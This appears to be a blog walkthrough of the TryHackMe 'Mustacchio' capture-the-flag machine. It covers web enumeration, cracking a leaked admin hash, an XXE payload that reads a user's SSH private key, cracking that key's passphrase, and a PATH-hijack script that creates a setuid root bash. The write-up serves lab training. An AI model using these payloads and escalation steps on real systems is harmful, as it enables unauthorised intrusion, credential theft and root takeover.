DEV Community

0xAp0ll0
0xAp0ll0

Posted on

Mustachhio-TryHackMe Writeup

#linux #tryhackme #ctf #hacker

Target: Mustacchio
OS: Linux
Difficulty: Easy

mustacchio

Overview

Mustacchio is an easy-rated Linux machine on TryHackMe. The attack path involves:

  1. Enumerating web services to find a exposed SQLite database backup containing an admin hash.
  2. Logging into a secondary web interface on port 8765 and exploiting an XML External Entity Injection (XXE) vulnerability to exfiltrate an SSH private key.
  3. Formatting and cracking the passphrase for user barry's SSH private key (urieljames) using ssh2john and john.
  4. Escalating privileges to root via a PATH Hijacking attack against a SUID binary (/home/joe/live_log) that invokes relative binary commands (tail).

Step 1: Reconnaissance & Port Scanning

Start with a full port scan to identify all open services on the target system.

sudo nmap -sCV -p-  <IP> -oN nmap 
Host is up (0.056s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug  5 05:28:16 2026 -- 1 IP address (1 host up) scanned in 216.45 seconds
Enter fullscreen mode Exit fullscreen mode

Scan Results:

Port State Service Description
22/tcp Open SSH OpenSSH 7.2p2
80/tcp Open HTTP Apache httpd 2.4.18
8765/tcp Open HTTP Secondary Web Service

so we have two web pages one in port 80 and the other in 8765

webpage

webpage

Step 2: Web Enumeration

  1. Navigating to port 80 web page presents a basic static site. Perform directory fuzzing using ffuf : 
ffuf -u http://10.112.171.183/FUZZ -w /usr/share/wordlists/dirb/common.txt
Enter fullscreen mode Exit fullscreen mode
  1. Directory brute-forcing highlights /custom/. Checking subdirectories within /custom/ reveals a backup file located at /custom/js/users.bak.
  2. Download and inspect the database file: 
wget http://10.112.171.183/custom/js/users.bak
file users.bak
Enter fullscreen mode Exit fullscreen mode 
users.bak: SQLite 3.x database
Enter fullscreen mode Exit fullscreen mode
  1. Query the SQLite database to retrieve stored user credentials: 
sqlite3 users.bak ".dump"
Enter fullscreen mode Exit fullscreen mode

Output:

CREATE TABLE IF NOT EXISTS "users" (
    "id" INTEGER,
    "username" TEXT,
    "password" TEXT,
    "role" INTEGER
);
INSERT INTO users VALUES(1,'admin','1868e36a********************d4bc5f4b',NULL);
Enter fullscreen mode Exit fullscreen mode
  1. it appears to be a SHA-1 hash so we crack it using hashcat 
┌──(kali㉿kali)-[~/TryHackme/mustacchio]
└─$ hashid "1868e36a6d2b17d4c2745f1659433a54d4bc5f4b"
Analyzing '1868e36a6d2b17d4c2745f1659433a54d4bc5f4b'
[+] SHA-1
Enter fullscreen mode Exit fullscreen mode

hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt and just like that we get the admin password bulldog19

bulldog

Step 3: The Admin Panel

once we log in we get greeted by this box
xxe injection box

checking the source code we find this

 <!-- Barry, you can now SSH in using your key!-->****
 <script type="text/javascript">
      //document.cookie = "Example=/auth/dontforget.bak"; 
      function checktarea() {
      let tbox = document.getElementById("box").value;
      if (tbox == null || tbox.length == 0) {
        alert("Insert XML Code!")
      }
  }
Enter fullscreen mode Exit fullscreen mode

so we pull that file

┌──(kali㉿kali)-[~/TryHackme/mustacchio]
└─$ cat dontforget.bak 
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>
Enter fullscreen mode Exit fullscreen mode

xml

At this point it is obvious that we are going to do an XXE injection to retrieve the ssh keys
so we fire up burpsuite and start trying payloads and it
xxa
xxa

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa"> ]>
<comment>
  <name>&xxe;</name>
  <author>admin</author>
</comment>
Enter fullscreen mode Exit fullscreen mode

Submit this payload through the XML input form to dump the encrypted RSA private key for barry

Step 4: Cracking SSH Passphrase & Initial Access

  1. Copy the exfiltrated private key into a local file named id_rsa.
  2. Ensure the key begins with a valid SSH header line (-----BEGIN RSA PRIVATE KEY-----). If non-standard header lines (such as Name: ) are present, clean up the file using sed: 
sed -i '1s/^Name: //' id_rsa
chmod 600 id_rsa
Enter fullscreen mode Exit fullscreen mode
  1. Convert the key format for John the Ripper using ssh2john: 
ssh2john id_rsa > id_rsa.hash
Enter fullscreen mode Exit fullscreen mode
  1. Crack the SSH key passphrase using john and rockyou.txt: 
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Cracked Output

urieljames       (id_rsa)
Enter fullscreen mode Exit fullscreen mode
  1. Connect to the target machine via SSH using the cracked key: 
ssh -i id_rsa barry@10.112.171.183
Enter fullscreen mode Exit fullscreen mode
  1. Capture the user flag: 
cat /home/barry/user.txt
Enter fullscreen mode Exit fullscreen mode

easy

Step 5: Privilege Escalation (PATH Hijacking)

  1. Check local users and search for SUID binaries on the system: 
find / -perm -4000 -type f 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
  1. An unusual binary is present in user joe's home directory: /home/joe/live_log.

so we exfiltrate the binary to the host machine using scp and dissassemble it with ghidra
and it turns out to be a simple vulnerable code

code

void main(void)

{
  setuid(0);
  setgid(0);
  printf("Live Nginx Log Reader");
  system("tail -f /var/log/nginx/access.log");
  return;
}
Enter fullscreen mode Exit fullscreen mode

Because tail is called without an absolute path (e.g., /usr/bin/tail), the system searches the directories listed in the current environment's $PATH variable in sequential order.

barry@mustacchio:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Executing PATH Hijack

  1. Navigate to a world-writable directory, such as /dev/shm: 
cd /dev/shm
Enter fullscreen mode Exit fullscreen mode
  1. Create a malicious executable named tail designed to create a root SUID bash binary: 
cat << 'EOF' > tail
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash
EOF
Enter fullscreen mode Exit fullscreen mode
  1. Make the malicious file executable: 
chmod +x tail
Enter fullscreen mode Exit fullscreen mode
  1. Prepend /dev/shm to the target system's $PATH variable: 
export PATH=/dev/shm:$PATH
Enter fullscreen mode Exit fullscreen mode
  1. Execute /home/joe/live_log. It will run /dev/shm/tail with root privileges: 
/home/joe/live_log
Enter fullscreen mode Exit fullscreen mode
  1. Spawn the privileged bash shell and retrieve the root flag: 
/tmp/bash -p
#cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

i am root

Review:

Overall while rated Easy, the machine serves as an effective learning model for basic web enumeration, XXE exploitation, and binary privilege escalation. this was a well versatile machine but it lacked depth .

see you

Top comments (0)